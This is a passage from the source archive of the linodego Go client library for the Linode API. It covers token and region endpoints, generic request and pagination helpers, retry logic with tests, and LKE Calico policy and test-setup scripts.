Otherwise, only the first 16 characters are returned. Token string `json:"token"` // The date and time this token was created. Created *time.Time `json:"-"` // When this token will expire. Personal Access Tokens cannot be renewed, so after this time the token will be completely unusable and a new token will need to be generated. Tokens may be created with "null" as their expiry and will never expire unless revoked. Expiry *time.Time `json:"-"` } // TokenCreateOptions fields are those accepted by CreateToken type TokenCreateOptions struct { // The scopes this token was created with. These define what parts of the Account the token can be used to access. Many command-line tools, such as the Linode CLI, require tokens with access to *. Tokens with more restrictive scopes are generally more secure. Scopes string `json:"scopes"` // This token's label. This is for display purposes only, but can be used to more easily track what you're using each token for. (1-100 Characters) Label string `json:"label"` // When this token will expire. Personal Access Tokens cannot be renewed, so after this time the token will be completely unusable and a new token will need to be generated. Tokens may be created with "null" as their expiry and will never expire unless revoked. Expiry *time.Time `json:"expiry"` } // TokenUpdateOptions fields are those accepted by UpdateToken type TokenUpdateOptions struct { // This token's label. This is for display purposes only, but can be used to more easily track what you're using each token for. (1-100 Characters) Label string `json:"label"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Token) UnmarshalJSON(b []byte) error { type Mask Token p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Expiry *parseabletime.ParseableTime `json:"expiry"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Expiry = (*time.Time)(p.Expiry) return nil } // GetCreateOptions converts a Token to TokenCreateOptions for use in CreateToken func (i Token) GetCreateOptions() (o TokenCreateOptions) { o.Label = i.Label o.Expiry = copyTime(i.Expiry) o.Scopes = i.Scopes return } // GetUpdateOptions converts a Token to TokenUpdateOptions for use in UpdateToken func (i Token) GetUpdateOptions() (o TokenUpdateOptions) { o.Label = i.Label return } // ListTokens lists Tokens func (c *Client) ListTokens(ctx context.Context, opts *ListOptions) ([]Token, error) { response, err := getPaginatedResults[Token](ctx, c, "profile/tokens", opts) if err != nil { return nil, err } return response, nil } // GetToken gets the token with the provided ID func (c *Client) GetToken(ctx context.Context, tokenID int) (*Token, error) { e := formatAPIPath("profile/tokens/%d", tokenID) response, err := doGETRequest[Token](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateToken creates a Token func (c *Client) CreateToken(ctx context.Context, opts TokenCreateOptions) (*Token, error) { // Format the Time as a string to meet the ISO8601 requirement createOptsFixed := struct { Label string `json:"label"` Scopes string `json:"scopes"` Expiry *string `json:"expiry"` }{} createOptsFixed.Label = opts.Label createOptsFixed.Scopes = opts.Scopes if opts.Expiry != nil { iso8601Expiry := opts.Expiry.UTC().Format("2006-01-02T15:04:05") createOptsFixed.Expiry = &iso8601Expiry } e := "profile/tokens" response, err := doPOSTRequest[Token](ctx, c, e, createOptsFixed) if err != nil { return nil, err } return response, nil } // UpdateToken updates the Token with the specified id func (c *Client) UpdateToken(ctx context.Context, tokenID int, opts TokenUpdateOptions) (*Token, error) { e := formatAPIPath("profile/tokens/%d", tokenID) response, err := doPUTRequest[Token](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteToken deletes the Token with the specified id func (c *Client) DeleteToken(ctx context.Context, tokenID int) error { e := formatAPIPath("profile/tokens/%d", tokenID) err := doDELETERequest(ctx, c, e) return err } golang-github-linode-linodego-1.47.0/regions.go000066400000000000000000000110121474652371000214010ustar00rootroot00000000000000package linodego import ( "context" "time" ) // This is an enumeration of Capabilities Linode offers that can be referenced // through the user-facing parts of the application. // Defined as strings rather than a custom type to avoid breaking change. // Can be changed in the potential v2 version. const ( CapabilityACLB string = "Akamai Cloud Load Balancer" CapabilityBackups string = "Backups" CapabilityBareMetal string = "Bare Metal" CapabilityBlockStorage string = "Block Storage" CapabilityBlockStorageEncryption string = "Block Storage Encryption" CapabilityBlockStorageMigrations string = "Block Storage Migrations" CapabilityCloudFirewall string = "Cloud Firewall" CapabilityDBAAS string = "Managed Databases" CapabilityDiskEncryption string = "Disk Encryption" CapabilityEdgePlans string = "Edge Plans" CapabilityGPU string = "GPU Linodes" CapabilityKubernetesEnterprise string = "Kubernetes Enterprise" CapabilityLKE string = "Kubernetes" CapabilityLKEControlPlaneACL string = "LKE Network Access Control List (IP ACL)" CapabilityLinodes string = "Linodes" CapabilityLkeHaControlPlanes string = "LKE HA Control Planes" CapabilityMachineImages string = "Machine Images" CapabilityMetadata string = "Metadata" CapabilityNodeBalancers string = "NodeBalancers" CapabilityObjectStorage string = "Object Storage" CapabilityObjectStorageAccessKeyRegions string = "Object Storage Access Key Regions" CapabilityObjectStorageEndpointTypes string = "Object Storage Endpoint Types" CapabilityPlacementGroup string = "Placement Group" CapabilityPremiumPlans string = "Premium Plans" CapabilityQuadraT1UVPU string = "NETINT Quadra T1U" CapabilitySupportTicketSeverity string = "Support Ticket Severity" CapabilityVPCs string = "VPCs" CapabilityVPCsExtra string = "VPCs Extra" CapabilityVlans string = "Vlans" // Deprecated: CapabilityObjectStorageRegions constant has been // renamed to `CapabilityObjectStorageAccessKeyRegions`. CapabilityObjectStorageRegions string = CapabilityObjectStorageAccessKeyRegions ) // Region-related endpoints have a custom expiry time as the // `status` field may update for database outages. var cacheExpiryTime = time.Minute // Region represents a linode region object type Region struct { ID string `json:"id"` Country string `json:"country"` // A List of enums from the above constants Capabilities []string `json:"capabilities"` Status string `json:"status"` Label string `json:"label"` SiteType string `json:"site_type"` Resolvers RegionResolvers `json:"resolvers"` PlacementGroupLimits *RegionPlacementGroupLimits `json:"placement_group_limits"` } // RegionResolvers contains the DNS resolvers of a region type RegionResolvers struct { IPv4 string `json:"ipv4"` IPv6 string `json:"ipv6"` } // RegionPlacementGroupLimits contains information about the // placement group limits for the current user in the current region. type RegionPlacementGroupLimits struct { MaximumPGsPerCustomer int `json:"maximum_pgs_per_customer"` MaximumLinodesPerPG int `json:"maximum_linodes_per_pg"` } // ListRegions lists Regions. This endpoint is cached by default. func (c *Client) ListRegions(ctx context.Context, opts *ListOptions) ([]Region, error) { endpoint, err := generateListCacheURL("regions", opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]Region), nil } response, err := getPaginatedResults[Region](ctx, c, "regions", opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response, &cacheExpiryTime) return response, nil } // GetRegion gets the template with the provided ID. This endpoint is cached by default. func (c *Client) GetRegion(ctx context.Context, regionID string) (*Region, error) { e := formatAPIPath("regions/%s", regionID) if result := c.getCachedResponse(e); result != nil { result := result.(Region) return &result, nil } response, err := doGETRequest[Region](ctx, c, e) if err != nil { return nil, err } c.addCachedResponse(e, response, &cacheExpiryTime) return response, nil } golang-github-linode-linodego-1.47.0/regions_availability.go000066400000000000000000000025751474652371000241510ustar00rootroot00000000000000package linodego import ( "context" ) // Region represents a linode region object type RegionAvailability struct { Region string `json:"region"` Plan string `json:"plan"` Available bool `json:"available"` } // ListRegionsAvailability lists Regions. This endpoint is cached by default. func (c *Client) ListRegionsAvailability(ctx context.Context, opts *ListOptions) ([]RegionAvailability, error) { e := "regions/availability" endpoint, err := generateListCacheURL(e, opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]RegionAvailability), nil } response, err := getPaginatedResults[RegionAvailability](ctx, c, e, opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response, &cacheExpiryTime) return response, nil } // GetRegionAvailability gets the template with the provided ID. This endpoint is cached by default. func (c *Client) GetRegionAvailability(ctx context.Context, regionID string) (*RegionAvailability, error) { e := formatAPIPath("regions/%s/availability", regionID) if result := c.getCachedResponse(e); result != nil { result := result.(RegionAvailability) return &result, nil } response, err := doGETRequest[RegionAvailability](ctx, c, e) if err != nil { return nil, err } c.addCachedResponse(e, response, &cacheExpiryTime) return response, nil } golang-github-linode-linodego-1.47.0/request_helpers.go000066400000000000000000000116671474652371000231650ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" "reflect" ) // paginatedResponse represents a single response from a paginated // endpoint. type paginatedResponse[T any] struct { Page int `json:"page" url:"page,omitempty"` Pages int `json:"pages" url:"pages,omitempty"` Results int `json:"results" url:"results,omitempty"` Data []T `json:"data"` } // getPaginatedResults aggregates results from the given // paginated endpoint using the provided ListOptions. // nolint:funlen func getPaginatedResults[T any]( ctx context.Context, client *Client, endpoint string, opts *ListOptions, ) ([]T, error) { var resultType paginatedResponse[T] result := make([]T, 0) if opts == nil { opts = &ListOptions{PageOptions: &PageOptions{Page: 0}} } if opts.PageOptions == nil { opts.PageOptions = &PageOptions{Page: 0} } // Makes a request to a particular page and // appends the response to the result handlePage := func(page int) error { // Override the page to be applied in applyListOptionsToRequest(...) opts.Page = page // This request object cannot be reused for each page request // because it can lead to possible data corruption req := client.R(ctx).SetResult(resultType) // Apply all user-provided list options to the request if err := applyListOptionsToRequest(opts, req); err != nil { return err } res, err := coupleAPIErrors(req.Get(endpoint)) if err != nil { return err } response := res.Result().(*paginatedResponse[T]) opts.Page = page opts.Pages = response.Pages opts.Results = response.Results result = append(result, response.Data...) return nil } // This helps simplify the logic below startingPage := 1 pageDefined := opts.Page > 0 if pageDefined { startingPage = opts.Page } // Get the first page if err := handlePage(startingPage); err != nil { return nil, err } // If the user has explicitly specified a page, we don't // need to get any other pages. if pageDefined { return result, nil } // Get the rest of the pages for page := 2; page <= opts.Pages; page++ { if err := handlePage(page); err != nil { return nil, err } } return result, nil } // doGETRequest runs a GET request using the given client and API endpoint, // and returns the result func doGETRequest[T any]( ctx context.Context, client *Client, endpoint string, ) (*T, error) { var resultType T req := client.R(ctx).SetResult(&resultType) r, err := coupleAPIErrors(req.Get(endpoint)) if err != nil { return nil, err } return r.Result().(*T), nil } // doPOSTRequest runs a PUT request using the given client, API endpoint, // and options/body. func doPOSTRequest[T, O any]( ctx context.Context, client *Client, endpoint string, options ...O, ) (*T, error) { var resultType T numOpts := len(options) if numOpts > 1 { return nil, fmt.Errorf("invalid number of options: %d", len(options)) } req := client.R(ctx).SetResult(&resultType) if numOpts > 0 && !isNil(options[0]) { body, err := json.Marshal(options[0]) if err != nil { return nil, err } req.SetBody(string(body)) } r, err := coupleAPIErrors(req.Post(endpoint)) if err != nil { return nil, err } return r.Result().(*T), nil } // doPOSTRequest runs a POST request using the given client, API endpoint, // and options/body. It expects only empty response from the endpoint. func doPOSTRequestNoResponseBody[T any]( ctx context.Context, client *Client, endpoint string, options ...T, ) error { _, err := doPOSTRequest[any, T](ctx, client, endpoint, options...) return err } // doPUTRequest runs a PUT request using the given client, API endpoint, // and options/body. func doPUTRequest[T, O any]( ctx context.Context, client *Client, endpoint string, options ...O, ) (*T, error) { var resultType T numOpts := len(options) if numOpts > 1 { return nil, fmt.Errorf("invalid number of options: %d", len(options)) } req := client.R(ctx).SetResult(&resultType) if numOpts > 0 && !isNil(options[0]) { body, err := json.Marshal(options[0]) if err != nil { return nil, err } req.SetBody(string(body)) } r, err := coupleAPIErrors(req.Put(endpoint)) if err != nil { return nil, err } return r.Result().(*T), nil } // doDELETERequest runs a DELETE request using the given client // and API endpoint. func doDELETERequest( ctx context.Context, client *Client, endpoint string, ) error { req := client.R(ctx) _, err := coupleAPIErrors(req.Delete(endpoint)) return err } // formatAPIPath allows us to safely build an API request with path escaping func formatAPIPath(format string, args ...any) string { escapedArgs := make([]any, len(args)) for i, arg := range args { if typeStr, ok := arg.(string); ok { arg = url.PathEscape(typeStr) } escapedArgs[i] = arg } return fmt.Sprintf(format, escapedArgs...) } func isNil(i interface{}) bool { if i == nil { return true } // Check for nil pointers v := reflect.ValueOf(i) return v.Kind() == reflect.Ptr && v.IsNil() } golang-github-linode-linodego-1.47.0/request_helpers_test.go000066400000000000000000000146761474652371000242270ustar00rootroot00000000000000package linodego import ( "context" "fmt" "math" "net/http" "reflect" "strconv" "testing" "github.com/stretchr/testify/require" "github.com/linode/linodego/internal/testutil" "github.com/google/go-cmp/cmp" "github.com/jarcoal/httpmock" ) type testResultNestedType struct { NestedInt int `json:"nested_int"` NestedString string `json:"nested_string"` } type testResultType struct { ID int `json:"id"` Bar *string `json:"bar"` Foo string `json:"foo"` Cool testResultNestedType `json:"cool"` } var testResponse = testResultType{ Foo: "test", ID: 123, Cool: testResultNestedType{ NestedInt: 456, NestedString: "test2", }, } func TestRequestHelpers_get(t *testing.T) { client := testutil.CreateMockClient(t, NewClient) httpmock.RegisterRegexpResponder("GET", testutil.MockRequestURL("/foo/bar"), httpmock.NewJsonResponderOrPanic(200, &testResponse)) result, err := doGETRequest[testResultType]( context.Background(), client, "/foo/bar", ) if err != nil { t.Fatal(err) } if !reflect.DeepEqual(*result, testResponse) { t.Fatalf("actual response does not equal desired response: %s", cmp.Diff(result, testResponse)) } } func TestRequestHelpers_post(t *testing.T) { client := testutil.CreateMockClient(t, NewClient) httpmock.RegisterRegexpResponder("POST", testutil.MockRequestURL("/foo/bar"), testutil.MockRequestBodyValidate(t, testResponse, testResponse)) result, err := doPOSTRequest[testResultType]( context.Background(), client, "/foo/bar", testResponse, ) if err != nil { t.Fatal(err) } if !reflect.DeepEqual(*result, testResponse) { t.Fatalf("actual response does not equal desired response: %s", cmp.Diff(result, testResponse)) } } func TestRequestHelpers_postNoOptions(t *testing.T) { client := testutil.CreateMockClient(t, NewClient) httpmock.RegisterRegexpResponder( "POST", testutil.MockRequestURL("/foo/bar"), testutil.MockRequestBodyValidateNoBody(t, testResponse), ) result, err := doPOSTRequest[testResultType, any]( context.Background(), client, "/foo/bar", ) if err != nil { t.Fatal(err) } if !reflect.DeepEqual(*result, testResponse) { t.Fatalf("actual response does not equal desired response: %s", cmp.Diff(result, testResponse)) } } func TestRequestHelpers_put(t *testing.T) { client := testutil.CreateMockClient(t, NewClient) httpmock.RegisterRegexpResponder("PUT", testutil.MockRequestURL("/foo/bar"), testutil.MockRequestBodyValidate(t, testResponse, testResponse)) result, err := doPUTRequest[testResultType]( context.Background(), client, "/foo/bar", testResponse, ) if err != nil { t.Fatal(err) } if !reflect.DeepEqual(*result, testResponse) { t.Fatalf("actual response does not equal desired response: %s", cmp.Diff(result, testResponse)) } } func TestRequestHelpers_putNoOptions(t *testing.T) { client := testutil.CreateMockClient(t, NewClient) httpmock.RegisterRegexpResponder( "PUT", testutil.MockRequestURL("/foo/bar"), testutil.MockRequestBodyValidateNoBody(t, testResponse), ) result, err := doPUTRequest[testResultType, any]( context.Background(), client, "/foo/bar", ) if err != nil { t.Fatal(err) } if !reflect.DeepEqual(*result, testResponse) { t.Fatalf("actual response does not equal desired response: %s", cmp.Diff(result, testResponse)) } } func TestRequestHelpers_delete(t *testing.T) { client := testutil.CreateMockClient(t, NewClient) httpmock.RegisterRegexpResponder( "DELETE", testutil.MockRequestURL("/foo/bar/foo%20bar"), httpmock.NewStringResponder(200, "{}"), ) if err := doDELETERequest( context.Background(), client, formatAPIPath("/foo/bar/%s", "foo bar"), ); err != nil { t.Fatal(err) } } func TestRequestHelpers_paginateAll(t *testing.T) { const totalResults = 4123 client := testutil.CreateMockClient(t, NewClient) numRequests := 0 httpmock.RegisterRegexpResponder( "GET", testutil.MockRequestURL("/foo/bar"), mockPaginatedResponse( buildPaginatedEntries(totalResults), &numRequests, ), ) response, err := getPaginatedResults[testResultType]( context.Background(), client, "/foo/bar", &ListOptions{ PageSize: 500, Filter: "{\"foo\": \"bar\"}", }, ) require.NoError(t, err) require.Equal(t, 9, numRequests) require.Len(t, response, totalResults) for i := 0; i < totalResults; i++ { entry := response[i] require.Equal(t, i, entry.ID) require.Equal(t, fmt.Sprintf("test-%d", i), *entry.Bar) } } func TestRequestHelpers_paginateSingle(t *testing.T) { client := testutil.CreateMockClient(t, NewClient) numRequests := 0 httpmock.RegisterRegexpResponder( "GET", testutil.MockRequestURL("/foo/bar"), mockPaginatedResponse( buildPaginatedEntries(12), &numRequests, ), ) response, err := getPaginatedResults[testResultType]( context.Background(), client, "/foo/bar", &ListOptions{ PageOptions: &PageOptions{ Page: 3, }, }, ) if err != nil { t.Fatal(err) } if numRequests != 1 { t.Fatalf("expected 1 request, got %d", numRequests) } if len(response) != 3 { t.Fatalf("expected 3 results, got %d", len(response)) } for i := 0; i < 3; i++ { entry := response[i] desiredID := i + 6 if entry.ID != desiredID { t.Fatalf("expected id %d, got %d", desiredID, entry.ID) } } } func buildPaginatedEntries(numEntries int) []testResultType { result := make([]testResultType, numEntries) for i := 0; i < numEntries; i++ { bar := fmt.Sprintf("test-%d", i) result[i] = testResultType{ Bar: &bar, Foo: "foo", ID: i, } } return result } func mockPaginatedResponse( entries []testResultType, numRequests *int, ) httpmock.Responder { return func(request *http.Request) (*http.Response, error) { *numRequests++ // Default page size for testing purposes pageSize := 3 page, err := strconv.Atoi(request.URL.Query().Get("page")) if err != nil { return nil, err } if request.URL.Query().Has("page_size") { pageSize, err = strconv.Atoi(request.URL.Query().Get("page_size")) if err != nil { return nil, err } } // Clamp the top index to prevent out of bounds issues lastEntryIdx := pageSize * page if lastEntryIdx > len(entries) { lastEntryIdx = len(entries) } return httpmock.NewJsonResponse( 200, paginatedResponse[testResultType]{ Page: page, Pages: int(math.Ceil(float64(len(entries)) / float64(pageSize))), Results: pageSize, Data: entries[pageSize*(page-1) : lastEntryIdx], }, ) } } golang-github-linode-linodego-1.47.0/retries.go000066400000000000000000000062421474652371000214210ustar00rootroot00000000000000package linodego import ( "errors" "log" "net/http" "strconv" "time" "github.com/go-resty/resty/v2" "golang.org/x/net/http2" ) const ( retryAfterHeaderName = "Retry-After" maintenanceModeHeaderName = "X-Maintenance-Mode" defaultRetryCount = 1000 ) // type RetryConditional func(r *resty.Response) (shouldRetry bool) type RetryConditional resty.RetryConditionFunc // type RetryAfter func(c *resty.Client, r *resty.Response) (time.Duration, error) type RetryAfter resty.RetryAfterFunc // Configures resty to // lock until enough time has passed to retry the request as determined by the Retry-After response header. // If the Retry-After header is not set, we fall back to value of SetPollDelay. func configureRetries(c *Client) { c.resty. SetRetryCount(defaultRetryCount). AddRetryCondition(checkRetryConditionals(c)). SetRetryAfter(respectRetryAfter) } func checkRetryConditionals(c *Client) func(*resty.Response, error) bool { return func(r *resty.Response, err error) bool { for _, retryConditional := range c.retryConditionals { retry := retryConditional(r, err) if retry { log.Printf("[INFO] Received error %s - Retrying", r.Error()) return true } } return false } } // SetLinodeBusyRetry configures resty to retry specifically on "Linode busy." errors // The retry wait time is configured in SetPollDelay func linodeBusyRetryCondition(r *resty.Response, _ error) bool { apiError, ok := r.Error().(*APIError) linodeBusy := ok && apiError.Error() == "Linode busy." retry := r.StatusCode() == http.StatusBadRequest && linodeBusy return retry } func tooManyRequestsRetryCondition(r *resty.Response, _ error) bool { return r.StatusCode() == http.StatusTooManyRequests } func serviceUnavailableRetryCondition(r *resty.Response, _ error) bool { serviceUnavailable := r.StatusCode() == http.StatusServiceUnavailable // During maintenance events, the API will return a 503 and add // an `X-MAINTENANCE-MODE` header. Don't retry during maintenance // events, only for legitimate 503s. if serviceUnavailable && r.Header().Get(maintenanceModeHeaderName) != "" { log.Printf("[INFO] Linode API is under maintenance, request will not be retried - please see status.linode.com for more information") return false } return serviceUnavailable } func requestTimeoutRetryCondition(r *resty.Response, _ error) bool { return r.StatusCode() == http.StatusRequestTimeout } func requestGOAWAYRetryCondition(_ *resty.Response, e error) bool { return errors.As(e, &http2.GoAwayError{}) } func requestNGINXRetryCondition(r *resty.Response, _ error) bool { return r.StatusCode() == http.StatusBadRequest && r.Header().Get("Server") == "nginx" && r.Header().Get("Content-Type") == "text/html" } func respectRetryAfter(client *resty.Client, resp *resty.Response) (time.Duration, error) { retryAfterStr := resp.Header().Get(retryAfterHeaderName) if retryAfterStr == "" { return 0, nil } retryAfter, err := strconv.Atoi(retryAfterStr) if err != nil { return 0, err } duration := time.Duration(retryAfter) * time.Second log.Printf("[INFO] Respecting Retry-After Header of %d (%s) (max %s)", retryAfter, duration, client.RetryMaxWaitTime) return duration, nil } golang-github-linode-linodego-1.47.0/retries_http.go000066400000000000000000000072421474652371000224610ustar00rootroot00000000000000package linodego import ( "encoding/json" "errors" "log" "net/http" "strconv" "time" "golang.org/x/net/http2" ) const ( // nolint:unused httpRetryAfterHeaderName = "Retry-After" // nolint:unused httpMaintenanceModeHeaderName = "X-Maintenance-Mode" // nolint:unused httpDefaultRetryCount = 1000 ) // RetryConditional is a type alias for a function that determines if a request should be retried based on the response and error. // nolint:unused type httpRetryConditional func(*http.Response, error) bool // RetryAfter is a type alias for a function that determines the duration to wait before retrying based on the response. // nolint:unused type httpRetryAfter func(*http.Response) (time.Duration, error) // Configures http.Client to lock until enough time has passed to retry the request as determined by the Retry-After response header. // If the Retry-After header is not set, we fall back to the value of SetPollDelay. // nolint:unused func httpConfigureRetries(c *httpClient) { c.retryConditionals = append(c.retryConditionals, httpcheckRetryConditionals(c)) c.retryAfter = httpRespectRetryAfter } // nolint:unused func httpcheckRetryConditionals(c *httpClient) httpRetryConditional { return func(resp *http.Response, err error) bool { for _, retryConditional := range c.retryConditionals { retry := retryConditional(resp, err) if retry { log.Printf("[INFO] Received error %v - Retrying", err) return true } } return false } } // nolint:unused func httpRespectRetryAfter(resp *http.Response) (time.Duration, error) { retryAfterStr := resp.Header.Get(retryAfterHeaderName) if retryAfterStr == "" { return 0, nil } retryAfter, err := strconv.Atoi(retryAfterStr) if err != nil { return 0, err } duration := time.Duration(retryAfter) * time.Second log.Printf("[INFO] Respecting Retry-After Header of %d (%s)", retryAfter, duration) return duration, nil } // Retry conditions // nolint:unused func httpLinodeBusyRetryCondition(resp *http.Response, _ error) bool { apiError, ok := getAPIError(resp) linodeBusy := ok && apiError.Error() == "Linode busy." retry := resp.StatusCode == http.StatusBadRequest && linodeBusy return retry } // nolint:unused func httpTooManyRequestsRetryCondition(resp *http.Response, _ error) bool { return resp.StatusCode == http.StatusTooManyRequests } // nolint:unused func httpServiceUnavailableRetryCondition(resp *http.Response, _ error) bool { serviceUnavailable := resp.StatusCode == http.StatusServiceUnavailable // During maintenance events, the API will return a 503 and add // an `X-MAINTENANCE-MODE` header. Don't retry during maintenance // events, only for legitimate 503s. if serviceUnavailable && resp.Header.Get(maintenanceModeHeaderName) != "" { log.Printf("[INFO] Linode API is under maintenance, request will not be retried - please see status.linode.com for more information") return false } return serviceUnavailable } // nolint:unused func httpRequestTimeoutRetryCondition(resp *http.Response, _ error) bool { return resp.StatusCode == http.StatusRequestTimeout } // nolint:unused func httpRequestGOAWAYRetryCondition(_ *http.Response, err error) bool { return errors.As(err, &http2.GoAwayError{}) } // nolint:unused func httpRequestNGINXRetryCondition(resp *http.Response, _ error) bool { return resp.StatusCode == http.StatusBadRequest && resp.Header.Get("Server") == "nginx" && resp.Header.Get("Content-Type") == "text/html" } // Helper function to extract APIError from response // nolint:unused func getAPIError(resp *http.Response) (*APIError, bool) { var apiError APIError err := json.NewDecoder(resp.Body).Decode(&apiError) if err != nil { return nil, false } return &apiError, true } golang-github-linode-linodego-1.47.0/retries_http_test.go000066400000000000000000000040531474652371000235150ustar00rootroot00000000000000package linodego import ( "bytes" "encoding/json" "io" "net/http" "testing" "time" ) func TestHTTPLinodeBusyRetryCondition(t *testing.T) { var retry bool // Initialize response body rawResponse := &http.Response{ StatusCode: http.StatusBadRequest, Body: io.NopCloser(bytes.NewBuffer(nil)), } retry = httpLinodeBusyRetryCondition(rawResponse, nil) if retry { t.Errorf("Should not have retried") } apiError := APIError{ Errors: []APIErrorReason{ {Reason: "Linode busy."}, }, } rawResponse.Body = createResponseBody(apiError) retry = httpLinodeBusyRetryCondition(rawResponse, nil) if !retry { t.Errorf("Should have retried") } } func TestHTTPServiceUnavailableRetryCondition(t *testing.T) { rawResponse := &http.Response{ StatusCode: http.StatusServiceUnavailable, Header: http.Header{httpRetryAfterHeaderName: []string{"20"}}, Body: io.NopCloser(bytes.NewBuffer(nil)), // Initialize response body } if retry := httpServiceUnavailableRetryCondition(rawResponse, nil); !retry { t.Error("expected request to be retried") } if retryAfter, err := httpRespectRetryAfter(rawResponse); err != nil { t.Errorf("expected error to be nil but got %s", err) } else if retryAfter != time.Second*20 { t.Errorf("expected retryAfter to be 20 but got %d", retryAfter) } } func TestHTTPServiceMaintenanceModeRetryCondition(t *testing.T) { rawResponse := &http.Response{ StatusCode: http.StatusServiceUnavailable, Header: http.Header{ httpRetryAfterHeaderName: []string{"20"}, httpMaintenanceModeHeaderName: []string{"Currently in maintenance mode."}, }, Body: io.NopCloser(bytes.NewBuffer(nil)), // Initialize response body } if retry := httpServiceUnavailableRetryCondition(rawResponse, nil); retry { t.Error("expected retry to be skipped due to maintenance mode header") } } // Helper function to create a response body from an object func createResponseBody(obj interface{}) io.ReadCloser { body, err := json.Marshal(obj) if err != nil { panic(err) } return io.NopCloser(bytes.NewBuffer(body)) } golang-github-linode-linodego-1.47.0/retries_test.go000066400000000000000000000035661474652371000224660ustar00rootroot00000000000000package linodego import ( "net/http" "testing" "time" "github.com/go-resty/resty/v2" ) func TestLinodeBusyRetryCondition(t *testing.T) { var retry bool request := resty.Request{} rawResponse := http.Response{StatusCode: http.StatusBadRequest} response := resty.Response{ Request: &request, RawResponse: &rawResponse, } retry = linodeBusyRetryCondition(&response, nil) if retry { t.Errorf("Should not have retried") } apiError := APIError{ Errors: []APIErrorReason{ {Reason: "Linode busy."}, }, } request.SetError(&apiError) retry = linodeBusyRetryCondition(&response, nil) if !retry { t.Errorf("Should have retried") } } func TestLinodeServiceUnavailableRetryCondition(t *testing.T) { request := resty.Request{} rawResponse := http.Response{StatusCode: http.StatusServiceUnavailable, Header: http.Header{ retryAfterHeaderName: []string{"20"}, }} response := resty.Response{ Request: &request, RawResponse: &rawResponse, } if retry := serviceUnavailableRetryCondition(&response, nil); !retry { t.Error("expected request to be retried") } if retryAfter, err := respectRetryAfter(NewClient(nil).resty, &response); err != nil { t.Errorf("expected error to be nil but got %s", err) } else if retryAfter != time.Second*20 { t.Errorf("expected retryAfter to be 20 but got %d", retryAfter) } } func TestLinodeServiceMaintenanceModeRetryCondition(t *testing.T) { request := resty.Request{} rawResponse := http.Response{StatusCode: http.StatusServiceUnavailable, Header: http.Header{ retryAfterHeaderName: []string{"20"}, maintenanceModeHeaderName: []string{"Currently in maintenance mode."}, }} response := resty.Response{ Request: &request, RawResponse: &rawResponse, } if retry := serviceUnavailableRetryCondition(&response, nil); retry { t.Error("expected retry to be skipped due to maintenance mode header") } } golang-github-linode-linodego-1.47.0/scripts/000077500000000000000000000000001474652371000211005ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/scripts/lke-policy.yaml000066400000000000000000000030331474652371000240330ustar00rootroot00000000000000apiVersion: projectcalico.org/v3 kind: GlobalNetworkPolicy metadata: name: lke-rules spec: preDNAT: true applyOnForward: true order: 100 # Remember to run calicoctl patch command for this to work selector: "" ingress: # Allow ICMP - action: Allow protocol: ICMP - action: Allow protocol: ICMPv6 # Allow LKE-required ports - action: Allow protocol: TCP destination: nets: - 192.168.128.0/17 - 10.0.0.0/8 ports: - 10250 - 10256 - 179 - action: Allow protocol: UDP destination: nets: - 192.168.128.0/17 - 10.2.0.0/16 ports: - 51820 # Allow NodeBalancer ingress to the Node Ports & Allow DNS - action: Allow protocol: TCP source: nets: - 192.168.255.0/24 - 10.0.0.0/8 destination: ports: - 53 - 30000:32767 - action: Allow protocol: UDP source: nets: - 192.168.255.0/24 - 10.0.0.0/8 destination: ports: - 53 - 30000:32767 # Allow cluster internal communication - action: Allow destination: nets: - 10.0.0.0/8 - action: Allow source: nets: - 10.0.0.0/8 # 127.0.0.1/32 is needed for kubectl exec and node-shell - action: Allow destination: nets: - 127.0.0.1/32 # Block everything else - action: Deny - action: Log golang-github-linode-linodego-1.47.0/scripts/lke_calico_rules_e2e.sh000077500000000000000000000042031474652371000254700ustar00rootroot00000000000000#!/bin/bash RETRIES=3 DELAY=30 # Function to retry a command with exponential backoff retry_command() { local retries=$1 local wait_time=60 shift until "$@"; do if ((retries == 0)); then echo "Command failed after multiple retries. Exiting." exit 1 fi echo "Command failed. Retrying in $wait_time seconds..." sleep $wait_time ((retries--)) wait_time=$((wait_time * 2)) done } # Fetch the list of LKE cluster IDs CLUSTER_IDS=$(curl -s -H "Authorization: Bearer $LINODE_TOKEN" \ -H "Content-Type: application/json" \ "https://api.linode.com/v4/lke/clusters" | jq -r '.data[].id') # Check if CLUSTER_IDS is empty if [ -z "$CLUSTER_IDS" ]; then echo "All clusters have been cleaned and properly destroyed. No need to apply inbound or outbound rules" exit 0 fi for ID in $CLUSTER_IDS; do echo "Applying Calico rules to nodes in Cluster ID: $ID" # Download cluster configuration file with retry for ((i=1; i<=RETRIES; i++)); do config_response=$(curl -sH "Authorization: Bearer $LINODE_TOKEN" "https://api.linode.com/v4/lke/clusters/$ID/kubeconfig") if [[ $config_response != *"kubeconfig is not yet available"* ]]; then echo $config_response | jq -r '.[] | @base64d' > "/tmp/${ID}_config.yaml" break fi echo "Attempt $i to download kubeconfig for cluster $ID failed. Retrying in $DELAY seconds..." sleep $DELAY done if [[ $config_response == *"kubeconfig is not yet available"* ]]; then echo "kubeconfig for cluster id:$ID not available after $RETRIES attempts, mostly likely it is an empty cluster. Skipping..." else # Export downloaded config file export KUBECONFIG="/tmp/${ID}_config.yaml" retry_command $RETRIES kubectl get nodes retry_command $RETRIES calicoctl patch kubecontrollersconfiguration default --allow-version-mismatch --patch='{"spec": {"controllers": {"node": {"hostEndpoint": {"autoCreate": "Enabled"}}}}}' retry_command $RETRIES calicoctl apply --allow-version-mismatch -f "$(pwd)/lke-policy.yaml" fi done golang-github-linode-linodego-1.47.0/scripts/update_fixtures_contains_specific_string.py000066400000000000000000000017201474652371000320160ustar00rootroot00000000000000import sys import subprocess from pathlib import Path repo_dir = Path(__file__).parent.parent directory = repo_dir / Path("test/integration/fixtures") search_string = sys.argv[1] failed_tests = [] for file in 